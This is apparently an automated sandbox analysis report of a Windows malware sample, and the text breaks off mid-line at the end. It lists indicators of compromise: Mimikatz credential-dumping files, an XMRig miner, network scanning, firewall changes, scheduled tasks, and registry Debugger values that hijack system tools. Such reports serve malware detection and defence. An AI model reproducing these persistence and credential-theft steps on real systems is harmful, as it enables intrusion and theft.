Analysis
-
max time kernel
150s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
11/07/2023, 06:29
Behavioral task
behavioral1
Sample
e1424de72e52bcexeexeexeex.exe
Resource
win7-20230703-en
General
-
Target
e1424de72e52bcexeexeexeex.exe
-
Size
14.2MB
-
MD5
e1424de72e52bceff13f825afc79bf7d
-
SHA1
78712d9a419dd0d6defd37ebb8c8c843173dbefe
-
SHA256
ffdcf44052335f14b2fd869d15ccf9b054c6075d769032e9cba1dfdfdee6c015
-
SHA512
4536c995e0d7f8c774d974575c14f4cd2fb109fe35584928006ea22442115282527091c2420f9044ccf08e40d15717592842be11f1cff68e4fe68f74b9e6d145
-
SSDEEP
98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1912 created 2052 1912 bccprvs.exe 30 -
Contacts a large (54559) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
XMRig Miner payload 13 IoCs
resource yara_rule behavioral2/memory/1968-282-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-324-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-325-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-346-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-357-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-367-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-378-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-388-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-397-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-398-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-401-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-655-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig behavioral2/memory/1968-656-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 9 IoCs
resource yara_rule behavioral2/memory/4848-133-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/files/0x0006000000023240-138.dat mimikatz behavioral2/files/0x0006000000023240-139.dat mimikatz behavioral2/memory/1048-140-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/files/0x0006000000023240-141.dat mimikatz behavioral2/files/0x0006000000023296-259.dat mimikatz behavioral2/memory/712-268-0x00007FF7D5380000-0x00007FF7D546E000-memory.dmp mimikatz behavioral2/files/0x0006000000023296-330.dat mimikatz behavioral2/files/0x0006000000023296-331.dat mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts bccprvs.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts bccprvs.exe -
Modifies Windows Firewall 1 TTPs 2 IoCs
pid Process 1712 netsh.exe 2220 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bccprvs.exe -
Executes dropped EXE 30 IoCs
pid Process 1048 bccprvs.exe 1912 bccprvs.exe 860 wpcap.exe 4976 uckqglqms.exe 712 vfshost.exe 4684 vemgpbbel.exe 1968 biqkgj.exe 4136 vemgpbbel.exe 4816 gvpkiilap.exe 6092 xohudmc.exe 5932 cuwoqc.exe 6592 vemgpbbel.exe 5496 vemgpbbel.exe 1500 bccprvs.exe 6220 vemgpbbel.exe 3312 vemgpbbel.exe 784 vemgpbbel.exe 2228 vemgpbbel.exe 6344 vemgpbbel.exe 5692 vemgpbbel.exe 5720 vemgpbbel.exe 3960 vemgpbbel.exe 7016 vemgpbbel.exe 1156 vemgpbbel.exe 5456 vemgpbbel.exe 5448 vemgpbbel.exe 856 vemgpbbel.exe 6592 vemgpbbel.exe 6256 vemgpbbel.exe 6900 bccprvs.exe -
Loads dropped DLL 12 IoCs
pid Process 860 wpcap.exe 860 wpcap.exe 860 wpcap.exe 860 wpcap.exe 860 wpcap.exe 860 wpcap.exe 860 wpcap.exe 860 wpcap.exe 860 wpcap.exe 4976 uckqglqms.exe 4976 uckqglqms.exe 4976 uckqglqms.exe -
resource yara_rule behavioral2/files/0x0006000000023290-266.dat upx behavioral2/files/0x0006000000023290-267.dat upx behavioral2/memory/712-268-0x00007FF7D5380000-0x00007FF7D546E000-memory.dmp upx behavioral2/files/0x000600000002329b-271.dat upx behavioral2/files/0x000600000002329b-272.dat upx behavioral2/memory/4684-274-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/4684-275-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/files/0x0006000000023298-278.dat upx behavioral2/files/0x0006000000023298-279.dat upx behavioral2/memory/1968-282-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/files/0x000600000002329b-283.dat upx behavioral2/memory/4136-294-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/4136-300-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/files/0x000600000002329b-317.dat upx behavioral2/memory/6592-318-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/6592-320-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/files/0x000600000002329b-322.dat upx behavioral2/memory/1968-324-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/memory/1968-325-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/memory/5496-326-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/5496-327-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/files/0x000600000002329b-333.dat upx behavioral2/memory/6220-335-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/files/0x000600000002329b-337.dat upx behavioral2/memory/3312-339-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/3312-340-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/files/0x000600000002329b-342.dat upx behavioral2/memory/784-344-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/1968-346-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/files/0x000600000002329b-347.dat upx behavioral2/memory/2228-349-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/files/0x000600000002329b-351.dat upx behavioral2/memory/6344-352-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/6344-354-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/files/0x000600000002329b-356.dat upx behavioral2/memory/1968-357-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/memory/5692-358-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/5692-360-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/files/0x000600000002329b-362.dat upx behavioral2/memory/5720-363-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/5720-365-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/1968-367-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/files/0x000600000002329b-369.dat upx behavioral2/memory/3960-371-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/3960-373-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/7016-377-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/1968-378-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/memory/1156-381-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/1156-382-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/5456-384-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/5456-385-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/5448-387-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/1968-388-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/memory/856-390-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/856-391-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/6592-393-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/6256-395-0x00007FF6C7590000-0x00007FF6C75EB000-memory.dmp upx behavioral2/memory/1968-397-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/memory/1968-398-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/memory/1968-401-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/memory/1968-655-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx behavioral2/memory/1968-656-0x00007FF7C1B90000-0x00007FF7C1CB0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 38 ifconfig.me 39 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content bccprvs.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9210422E11ED6E0D0E9DED5E777AF6ED bccprvs.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9210422E11ED6E0D0E9DED5E777AF6ED bccprvs.exe File created C:\Windows\SysWOW64\cuwoqc.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\cuwoqc.exe xohudmc.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache bccprvs.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE bccprvs.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData bccprvs.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 bccprvs.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 bccprvs.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies bccprvs.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft bccprvs.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 bccprvs.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\ngubtktzb\UnattendGC\specials\libeay32.dll bccprvs.exe File opened for modification C:\Windows\leieqpsr\schoedcl.xml bccprvs.exe File created C:\Windows\ngubtktzb\ieipgdvci\gvpkiilap.exe bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\exma-1.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\cnli-1.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\spoolsrv.exe bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\spoolsrv.xml bccprvs.exe File created C:\Windows\leieqpsr\vimpcsvc.xml bccprvs.exe File opened for modification C:\Windows\leieqpsr\vimpcsvc.xml bccprvs.exe File created C:\Windows\ngubtktzb\ieipgdvci\ip.txt bccprvs.exe File created C:\Windows\ngubtktzb\ieipgdvci\wpcap.exe bccprvs.exe File created C:\Windows\ngubtktzb\ieipgdvci\wpcap.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\vimpcsvc.exe bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\vimpcsvc.xml bccprvs.exe File opened for modification C:\Windows\ngubtktzb\ieipgdvci\Packet.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\xdvl-0.dll bccprvs.exe File created C:\Windows\ngubtktzb\ieipgdvci\scan.bat bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\zlib1.dll bccprvs.exe File created C:\Windows\ngubtktzb\upbdrjv\swrpwe.exe bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\spoolsrv.xml bccprvs.exe File created C:\Windows\ime\bccprvs.exe bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\coli-0.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\trfo-2.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\docmicfg.xml bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\svschost.xml bccprvs.exe File created C:\Windows\leieqpsr\svschost.xml bccprvs.exe File created C:\Windows\ngubtktzb\ieipgdvci\uckqglqms.exe bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\libxml2.dll bccprvs.exe File opened for modification C:\Windows\ngubtktzb\Corporate\log.txt cmd.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\svschost.exe bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\docmicfg.xml bccprvs.exe File opened for modification C:\Windows\leieqpsr\svschost.xml bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\schoedcl.xml bccprvs.exe File created C:\Windows\leieqpsr\schoedcl.xml bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\AppCapture32.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\docmicfg.exe bccprvs.exe File created C:\Windows\leieqpsr\docmicfg.xml bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\posh-0.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\tucl-1.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\AppCapture64.dll bccprvs.exe File created C:\Windows\ngubtktzb\Corporate\mimilib.dll bccprvs.exe File opened for modification C:\Windows\leieqpsr\bccprvs.exe e1424de72e52bcexeexeexeex.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\crli-0.dll bccprvs.exe File created C:\Windows\leieqpsr\bccprvs.exe e1424de72e52bcexeexeexeex.exe File opened for modification C:\Windows\ngubtktzb\ieipgdvci\Result.txt gvpkiilap.exe File created C:\Windows\ngubtktzb\UnattendGC\svschost.xml bccprvs.exe File created C:\Windows\leieqpsr\spoolsrv.xml bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\ucl.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\vimpcsvc.xml bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\schoedcl.xml bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\Shellcode.ini bccprvs.exe File created C:\Windows\ngubtktzb\Corporate\vfshost.exe bccprvs.exe File created C:\Windows\ngubtktzb\ieipgdvci\Packet.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\tibe-2.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\ssleay32.dll bccprvs.exe File created C:\Windows\ngubtktzb\Corporate\mimidrv.sys bccprvs.exe File opened for modification C:\Windows\leieqpsr\spoolsrv.xml bccprvs.exe File opened for modification C:\Windows\leieqpsr\docmicfg.xml bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\trch-1.dll bccprvs.exe File created C:\Windows\ngubtktzb\UnattendGC\specials\schoedcl.exe bccprvs.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1692 sc.exe 3796 sc.exe 2556 sc.exe 2520 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 10 IoCs
resource yara_rule behavioral2/files/0x0006000000023240-138.dat nsis_installer_2 behavioral2/files/0x0006000000023240-139.dat nsis_installer_2 behavioral2/files/0x0006000000023240-141.dat nsis_installer_2 behavioral2/files/0x0006000000023253-147.dat nsis_installer_1 behavioral2/files/0x0006000000023253-147.dat nsis_installer_2 behavioral2/files/0x0006000000023253-148.dat nsis_installer_1 behavioral2/files/0x0006000000023253-148.dat nsis_installer_2 behavioral2/files/0x0006000000023296-259.dat nsis_installer_2 behavioral2/files/0x0006000000023296-330.dat nsis_installer_2 behavioral2/files/0x0006000000023296-331.dat nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4652 schtasks.exe 1844 schtasks.exe 4916 schtasks.exe -
Modifies data under HKEY_USERS 47 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" bccprvs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" bccprvs.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" bccprvs.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" bccprvs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ bccprvs.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing bccprvs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Set value (int) 